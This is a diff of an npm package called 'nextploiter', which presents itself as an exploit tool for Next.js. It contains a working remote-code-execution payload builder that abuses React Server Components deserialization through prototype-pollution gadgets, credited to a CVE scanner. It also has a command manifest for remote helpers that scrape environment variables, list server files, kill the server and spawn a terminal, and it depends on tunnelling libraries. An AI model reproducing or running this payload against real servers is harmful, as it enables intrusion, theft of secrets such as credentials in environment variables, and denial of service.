+ }
60
+ exports.default = ListEnv;
@@ -0,0 +1 @@
1
+ export { run } from '@oclif/core';
package/dist/index.js ADDED
@@ -0,0 +1,4 @@
1
+ "use strict";
2
+ Object.defineProperty(exports, "__esModule", { value: true });
3
+ var core_1 = require("@oclif/core");
4
+ Object.defineProperty(exports, "run", { enumerable: true, get: function () { return core_1.run; } });
@@ -0,0 +1,4 @@
1
+ /**
2
+ * You should declare a res variable in the code string and make sure it resolves to a string
3
+ */
4
+ export declare const payloadBuilder: (code: string) => Record<string, unknown>;
@@ -0,0 +1,27 @@
1
+ "use strict";
2
+ Object.defineProperty(exports, "__esModule", { value: true });
3
+ exports.payloadBuilder = void 0;
4
+ /**
5
+ * You should declare a res variable in the code string and make sure it resolves to a string
6
+ */
7
+ const payloadBuilder = function (code) {
8
+ // From https://github.com/Malayke/Next.js-RSC-RCE-Scanner-CVE-2025-66478
9
+ return {
10
+ '0': {
11
+ "then": "$1:__proto__:then",
12
+ "status": "resolved_model",
13
+ "reason": -1,
14
+ "value": "{\"then\":\"$B1337\"}",
15
+ "_response": {
16
+ "_prefix": code + ";;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});",
17
+ "_chunks": "$Q2",
18
+ "_formData": {
19
+ "get": "$1:constructor:constructor"
20
+ }
21
+ }
22
+ },
23
+ '1': "$@0",
24
+ '2': []
25
+ };
26
+ };
27
+ exports.payloadBuilder = payloadBuilder;
@@ -0,0 +1 @@
1
+ export * from "./CVE-2025-55182/payload";
@@ -0,0 +1,17 @@
1
+ "use strict";
2
+ var __createBinding = (this && this.__createBinding) || (Object.create ? (function(o, m, k, k2) {
3
+ if (k2 === undefined) k2 = k;
4
+ var desc = Object.getOwnPropertyDescriptor(m, k);
5
+ if (!desc || ("get" in desc ? !m.__esModule : desc.writable || desc.configurable)) {
6
+ desc = { enumerable: true, get: function() { return m[k]; } };
7
+ }
8
+ Object.defineProperty(o, k2, desc);
9
+ }) : (function(o, m, k, k2) {
10
+ if (k2 === undefined) k2 = k;
11
+ o[k2] = m[k];
12
+ }));
13
+ var __exportStar = (this && this.__exportStar) || function(m, exports) {
14
+ for (var p in m) if (p !== "default" && !Object.prototype.hasOwnProperty.call(exports, p)) __createBinding(exports, m, p);
15
+ };
16
+ Object.defineProperty(exports, "__esModule", { value: true });
17
+ __exportStar(require("./CVE-2025-55182/payload"), exports);
@@ -0,0 +1,174 @@
1
+ {
2
+ "commands": {
3
+ "rce:access-files": {
4
+ "aliases": [],
5
+ "args": {},
6
+ "description": "Helper to list return files in the server. May not work for serverless systems.",
7
+ "flags": {
8
+ "baseURL": {
9
+ "name": "baseURL",
10
+ "required": true,
11
+ "hasDynamicHelp": false,
12
+ "multiple": false,
13
+ "type": "option"
14
+ }
15
+ },
16
+ "hasDynamicHelp": false,
17
+ "hiddenAliases": [],
18
+ "id": "rce:access-files",
19
+ "pluginAlias": "nextploiter",
20
+ "pluginName": "nextploiter",
21
+ "pluginType": "core",
22
+ "strict": true,
23
+ "isESM": false,
24
+ "relativePath": [
25
+ "dist",
26
+ "commands",
27
+ "rce",
28
+ "access-files.js"
29
+ ]
30
+ },
31
+ "rce": {
32
+ "aliases": [],
33
+ "args": {},
34
+ "description": "Used for running javascript code at the remote server.",
35
+ "flags": {},
36
+ "hasDynamicHelp": false,
37
+ "hiddenAliases": [],
38
+ "id": "rce",
39
+ "pluginAlias": "nextploiter",
40
+ "pluginName": "nextploiter",
41
+ "pluginType": "core",
42
+ "strict": true,
43
+ "isESM": false,
44
+ "relativePath": [
45
+ "dist",
46
+ "commands",
47
+ "rce",
48
+ "index.js"
49
+ ]
50
+ },
51
+ "rce:kill-server": {
52
+ "aliases": [],
53
+ "args": {},
54
+ "description": "Helper that uses process.exit to shutdown remote server.",
55
+ "flags": {
56
+ "baseURL": {
57
+ "name": "baseURL",
58
+ "required": true,
59
+ "hasDynamicHelp": false,
60
+ "multiple": false,
61
+ "type": "option"
62
+ }
63
+ },
64
+ "hasDynamicHelp": false,
65
+ "hiddenAliases": [],
66
+ "id": "rce:kill-server",
67
+ "pluginAlias": "nextploiter",
68
+ "pluginName": "nextploiter",
69
+ "pluginType": "core",
70
+ "strict": true,
71
+ "isESM": false,
72
+ "relativePath": [
73
+ "dist",
74
+ "commands",
75
+ "rce",
76
+ "kill-server.js"
77
+ ]
78
+ },
79
+ "rce:list-env": {
80
+ "aliases": [],
81
+ "args": {},
82
+ "description": "Helper that iterates through process.env to scrape all environment variables.",
83
+ "flags": {
84
+ "baseURL": {
85
+ "name": "baseURL",
86
+ "required": true,
87
+ "hasDynamicHelp": false,
88
+ "multiple": false,
89
+ "type": "option"
90
+ }
91
+ },
92
+ "hasDynamicHelp": false,
93
+ "hiddenAliases": [],
94
+ "id": "rce:list-env",
95
+ "pluginAlias": "nextploiter",
96
+ "pluginName": "nextploiter",
97
+ "pluginType": "core",
98
+ "strict": true,
99
+ "isESM": false,
100
+ "relativePath": [
101
+ "dist",
102
+ "commands",
103
+ "rce",
104
+ "list-env.js"
105
+ ]
106
+ },
107
+ "rce:list-files": {
108
+ "aliases": [],
109
+ "args": {},
110
+ "description": "Helper to list all files in the server. May not work for serverless systems.",
111
+ "flags": {
112
+ "baseURL": {
113
+ "description": "Base URL of server to attack",
114
+ "name": "baseURL",
115
+ "required": true,
116
+ "hasDynamicHelp": false,
117
+ "multiple": false,
118
+ "type": "option"
119
+ },
120
+ "dir": {
121
+ "description": "Directory for ls command",
122
+ "name": "dir",
123
+ "default": ".",
124
+ "hasDynamicHelp": false,
125
+ "multiple": false,
126
+ "type": "option"
127
+ }
128
+ },
129
+ "hasDynamicHelp": false,
130
+ "hiddenAliases": [],
131
+ "id": "rce:list-files",
132
+ "pluginAlias": "nextploiter",
133
+ "pluginName": "nextploiter",
134
+ "pluginType": "core",
135
+ "strict": true,
136
+ "isESM": false,
137
+ "relativePath": [
138
+ "dist",
139
+ "commands",
140
+ "rce",
141
+ "list-files.js"
142
+ ]
143
+ },
144
+ "rce:spawn-terminal": {
145
+ "aliases": [],
146
+ "args": {},
147
+ "description": "Helper that spawns a terminal.",
148
+ "flags": {
149
+ "baseURL": {
150
+ "name": "baseURL",
151
+ "required": true,
152
+ "hasDynamicHelp": false,
153
+ "multiple": false,
154
+ "type": "option"
155
+ }
156
+ },
157
+ "hasDynamicHelp": false,
158
+ "hiddenAliases": [],
159
+ "id": "rce:spawn-terminal",
160
+ "pluginAlias": "nextploiter",
161
+ "pluginName": "nextploiter",
162
+ "pluginType": "core",
163
+ "strict": true,
164
+ "isESM": false,
165
+ "relativePath": [
166
+ "dist",
167
+ "commands",
168
+ "rce",
169
+ "spawn-terminal.js"
170
+ ]
171
+ }
172
+ },
173
+ "version": "0.0.0"
174
+ }
package/package.json ADDED
@@ -0,0 +1,77 @@
1
+ {
2
+ "name": "nextploiter",
3
+ "description": "Exploit tool for NextJS. Contribute at github. https://github.com/vonuyvicoo/nextploiter",
4
+ "version": "0.0.0",
5
+ "author": "Von Uyvico",
6
+ "bin": {
7
+ "nextploiter": "./bin/run.js"
8
+ },
9
+ "bugs": "https://github.com/vonuyvicoo/nextploiter/issues",
10
+ "dependencies": {
11
+ "@oclif/core": "^4",
12
+ "@oclif/plugin-help": "^6",
13
+ "@oclif/plugin-plugins": "^5",
14
+ "form-data": "^4.0.5",
15
+ "localtunnel": "^2.0.2",
16
+ "loclx": "^24.4.1",
17
+ "node-fetch": "^3.3.2",
18
+ "node-tcp-proxy": "^0.0.28",
19
+ "react-server-dom-webpack": "^19.2.3"
20
+ },
21
+ "devDependencies": {
22
+ "@eslint/compat": "^1",
23
+ "@oclif/prettier-config": "^0.2.1",
24
+ "@oclif/test": "^4",
25
+ "@types/chai": "^4",
26
+ "@types/localtunnel": "^2.0.4",
27
+ "@types/mocha": "^10",
28
+ "@types/node": "^18",
29
+ "chai": "^4",
30
+ "eslint": "^9",
31
+ "eslint-config-oclif": "^6",
32
+ "eslint-config-prettier": "^10",
33
+ "mocha": "^10",
34
+ "oclif": "^4",
35
+ "shx": "^0.3.3",
36
+ "ts-node": "^10",
37
+ "typescript": "^5"
38
+ },
39
+ "engines": {
40
+ "node": ">=18.0.0"
41
+ },
42
+ "files": [
43
+ "./bin",
44
+ "./dist",
45
+ "./oclif.manifest.json"
46
+ ],
47
+ "homepage": "https://github.com/vonuyvicoo/nextploiter",
48
+ "keywords": [
49
+ "oclif"
50
+ ],
51
+ "license": "MIT",
52
+ "main": "dist/index.js",
53
+ "oclif": {
54
+ "bin": "nextploiter",
55
+ "dirname": "nextploiter",
56
+ "commands": "./dist/commands",
57
+ "plugins": [
58
+ "@oclif/plugin-help",
59
+ "@oclif/plugin-plugins"
60
+ ],
61
+ "topicSeparator": " ",
62
+ "topics": {
63
+ "hello": {
64
+ "description": "Say hello to the world and others"
65
+ }
66
+ }
67
+ },
68
+ "repository": "vonuyvicoo/nextploiter",
69
+ "types": "dist/index.d.ts",
70
+ "scripts": {
71
+ "build": "shx rm -rf dist && tsc -b",
72
+ "lint": "eslint",
73
+ "posttest": "pnpm run lint",
74
+ "test": "mocha --forbid-only \"test/**/*.test.ts\"",
75
+ "version": "oclif readme && git add README.md"
76
+ }
77
+ }